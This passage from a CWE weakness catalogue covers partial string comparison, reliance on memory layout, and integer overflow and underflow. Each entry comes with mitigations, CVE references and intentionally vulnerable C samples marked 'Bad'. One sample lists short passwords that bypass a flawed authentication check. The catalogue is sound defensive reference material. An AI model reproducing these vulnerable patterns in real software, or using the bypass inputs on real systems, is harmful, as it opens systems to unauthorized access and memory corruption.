Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

### Observed Examples

Reference	Description
<b>CVE-2005-1604</b>	MIE. ".php.ns" bypasses ".php\$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache) <a href="https://www.cve.org/CVERecord?id=CVE-2005-1604">https://www.cve.org/CVERecord?id=CVE-2005-1604</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Relationship

Can overlap allowlist/denylist errors (CWE-183/CWE-184)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Overly Restrictive Regular Expression

## CWE-187: Partial String Comparison

**Weakness ID** : 187

**Structure** : Simple

**Abstraction** : Variant

### Description

The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

### Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1023	Incomplete Comparison with Missing Factors	1731
PeerOf		625	Permissive Regular Expression	1309
CanFollow		185	Incorrect Regular Expression	444

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

### Demonstrative Examples

#### Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language: C*

*(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strcmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
    }
}
```

```
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv) {
  int authResult;
  if (argc < 3) {
    ExitError("Usage: Provide a username and password");
  }
  authResult = AuthenticateUser(argv[1], argv[2]);
  if (authResult == AUTH_SUCCESS) {
    DoAuthenticatedTask(argv[1]);
  }
  else {
    ExitError("Authentication failed");
  }
}
```

In `AuthenticateUser()`, the `strncmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

*Example Language:*

*(Attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

### Observed Examples

Reference	Description
<b>CVE-2014-6394</b>	Product does not prevent access to restricted directories due to partial string comparison with a public directory <a href="https://www.cve.org/CVERecord?id=CVE-2014-6394">https://www.cve.org/CVERecord?id=CVE-2014-6394</a>
<b>CVE-2004-1012</b>	Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1012">https://www.cve.org/CVERecord?id=CVE-2004-1012</a>
<b>CVE-2004-0765</b>	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0765">https://www.cve.org/CVERecord?id=CVE-2004-0765</a>
<b>CVE-2002-1374</b>	One-character password by attacker checks only against first character of real password. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1374">https://www.cve.org/CVERecord?id=CVE-2002-1374</a>
<b>CVE-2000-0979</b>	One-character password by attacker checks only against first character of real password. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0979">https://www.cve.org/CVERecord?id=CVE-2000-0979</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

## Notes

### Relationship

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Partial Comparison

## CWE-188: Reliance on Data/Memory Layout

**Weakness ID** : 188

**Structure** : Simple

**Abstraction** : Base

### Description

The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

### Extended Description

When changing platforms or protocol versions, in-memory organization of data may change in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	998
ChildOf	<b>B</b>	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1804
ParentOf	<b>B</b>	198	Use of Incorrect Byte Ordering	483

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory	
<i>Can result in unintended modifications or exposure of sensitive memory.</i>		

### Potential Mitigations

**Phase: Implementation**

**Phase: Architecture and Design**

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

**Phase: Architecture and Design**

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

**Phase: Testing**

Testing: Test that the implementation properly handles each case in the protocol grammar.

### Demonstrative Examples

#### Example 1:

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

*Example Language: C*

*(Bad)*

```
void example() {
    char a;
    char b;
    *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reliance on data layout

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-190: Integer Overflow or Wraparound

**Weakness ID** : 190

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

### Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
PeerOf	B	128	Wrap-around Error	324
PeerOf	B	1339	Insufficient Precision or Accuracy of a Real Number	2064
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2103

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*



Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

*Effectiveness = High*

#### Black Box

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

*Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.*

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

#### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Requirements**

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

#### **Phase: Requirements**

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.

#### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

#### **Phase: Implementation**

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

### Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Implementation

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

## Demonstrative Examples

### Example 1:

The following image processing code allocates a table for images.

*Example Language: C*

*(Bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size `num_imgs`, however as `num_imgs` grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were `num_imgs` long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 2:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

*Example Language: C*

*(Bad)*

```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```

If `nresp` has the value 1073741824 and `sizeof(char*)` has its typical value of 4, then the result of the operation `nresp*sizeof(char*)` overflows, and the argument to `xmalloc()` will be 0. Most `malloc()` implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

### Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

*Example Language: C*

*(Bad)*

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that `bytesRec` may overflow, continuously creating a lower number than `MAXGET` and also overwriting the first `MAXGET-1` bytes of `buf`.

### Example 4:

In this example the method `determineFirstQuarterRevenue` is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

*Example Language: C*

*(Bad)*

```
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}
int determineFirstQuarterRevenue() {
    // Variable for sales revenue for the quarter
    float quarterRevenue = 0.0f;
    short JanSold = getMonthlySales(JAN); /* Get sales in January */
    short FebSold = getMonthlySales(FEB); /* Get sales in February */
    short MarSold = getMonthlySales(MAR); /* Get sales in March */
    // Calculate quarterly total
    short quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    saveFirstQuarterRevenue(quarterRevenue);
    return 0;
}
```

However, in this example the primitive type `short int` is used for both the monthly and the quarterly sales variables. In C the `short int` primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the `short int` primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

*Example Language: C*

*(Good)*

```
...
float calculateRevenueForQuarter(long quarterSold) {...}
int determineFirstQuarterRevenue() {
    ...
```

```
// Calculate quarterly total
long quarterSold = JanSold + FebSold + MarSold;
// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);
...
}
```

Note that an integer overflow could also occur if the `quarterSold` variable has a primitive type `long` but the method `calculateRevenueForQuarter` has a parameter of type `short`.

## Observed Examples

Reference	Description
<b>CVE-2022-21668</b>	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). <a href="https://www.cve.org/CVERecord?id=CVE-2022-21668">https://www.cve.org/CVERecord?id=CVE-2022-21668</a>
<b>CVE-2021-30860</b>	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-30860">https://www.cve.org/CVERecord?id=CVE-2021-30860</a>
<b>CVE-2021-30663</b>	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-30663">https://www.cve.org/CVERecord?id=CVE-2021-30663</a>
<b>CVE-2018-10887</b>	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) <a href="https://www.cve.org/CVERecord?id=CVE-2018-10887">https://www.cve.org/CVERecord?id=CVE-2018-10887</a>
<b>CVE-2019-1010006</b>	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). <a href="https://www.cve.org/CVERecord?id=CVE-2019-1010006">https://www.cve.org/CVERecord?id=CVE-2019-1010006</a>
<b>CVE-2010-2753</b>	Chain: integer overflow leads to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2010-2753">https://www.cve.org/CVERecord?id=CVE-2010-2753</a>
<b>CVE-2005-1513</b>	Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1513">https://www.cve.org/CVERecord?id=CVE-2005-1513</a>
<b>CVE-2002-0391</b>	Integer overflow via a large number of arguments. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0391">https://www.cve.org/CVERecord?id=CVE-2002-0391</a>
<b>CVE-2002-0639</b>	Integer overflow in OpenSSH as listed in the demonstrative examples. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0639">https://www.cve.org/CVERecord?id=CVE-2002-0639</a>
<b>CVE-2005-1141</b>	Image with large width and height leads to integer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1141">https://www.cve.org/CVERecord?id=CVE-2005-1141</a>
<b>CVE-2005-0102</b>	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0102">https://www.cve.org/CVERecord?id=CVE-2005-0102</a>
<b>CVE-2004-2013</b>	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2013">https://www.cve.org/CVERecord?id=CVE-2004-2013</a>
<b>CVE-2017-1000121</b>	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). <a href="https://www.cve.org/CVERecord?id=CVE-2017-1000121">https://www.cve.org/CVERecord?id=CVE-2017-1000121</a>
<b>CVE-2013-1591</b>	Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1591">https://www.cve.org/CVERecord?id=CVE-2013-1591</a>

## Functional Areas

- Number Processing
- Memory Management
- Counters

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2165
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Relationship

Integer overflows can be primary to buffer overflows.

### Terminology

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Integer overflow (wrap or wraparound)
7 Pernicious Kingdoms			Integer Overflow
CLASP			Integer overflow
CERT C Secure Coding	INT18-C	CWE More Abstract	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	INT30-C	CWE More Abstract	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	MEM07-C	CWE More Abstract	Ensure that the arguments to calloc(), when multiplied, do not wrap
CERT C Secure Coding	MEM35-C		Allocate sufficient memory for an object
WASC	3		Integer Overflows
Software Fault Patterns	SFP1		Glitch in computation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

### References

[REF-145]Yves Younan. "An overview of common programming security vulnerabilities and possible solutions". Student thesis section 5.4.3. 2003 August. < <http://fort-knox.org/thesis.pdf> >.

[REF-146]blexim. "Basic Integer Overflows". Phrack - Issue 60, Chapter 10. < <http://www.phrack.org/issues.html?issue=60&id=10#article> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.

[REF-150]Johannes Ullrich. "Top 25 Series - Rank 17 - Integer Overflow Or Wraparound". 2010 March 8. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-191: Integer Underflow (Wrap or Wraparound)

**Weakness ID** : 191

**Structure** : Simple

**Abstraction** : Base

### Description

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

### Extended Description

This can happen in signed and unsigned cases.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	2103

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Alternate Terms

**Integer underflow** : "Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue. "Integer underflow" is occasionally used to describe array index errors in which the index is negative.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability  <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i>	
Integrity	Modify Memory  <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i>	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

### Demonstrative Examples

#### Example 1:

The following example subtracts from a 32 bit signed integer.

Example Language: C

(Bad)

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of *i* is already at the lowest negative value possible, so after subtracting 1, the new value of *i* is 2147483647.

### Example 2:

This code performs a stack allocation based on a length calculation.

Example Language: C

(Bad)

```
int a = 5, b = 6;
size_t len = a - b;
char buff[len]; // Just blows up the stack
}
```

Since *a* and *b* are declared as signed ints, the "*a* - *b*" subtraction gives a negative result (-1). However, since *len* is declared to be unsigned, *len* is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer *buff*[*len*] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

## Observed Examples

Reference	Description
<b>CVE-2004-0816</b>	Integer underflow in firewall via malformed packet. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0816">https://www.cve.org/CVERecord?id=CVE-2004-0816</a>
<b>CVE-2004-1002</b>	Integer underflow by packet with invalid length. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1002">https://www.cve.org/CVERecord?id=CVE-2004-1002</a>
<b>CVE-2005-0199</b>	Long input causes incorrect length calculation. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0199">https://www.cve.org/CVERecord?id=CVE-2005-0199</a>
<b>CVE-2005-1891</b>	Malformed icon causes integer underflow in loop counter variable. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1891">https://www.cve.org/CVERecord?id=CVE-2005-1891</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Integer underflow (wrap or wraparound)
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-192: Integer Coercion Error

**Weakness ID** : 192  
**Structure** : Simple  
**Abstraction** : Variant

### Description

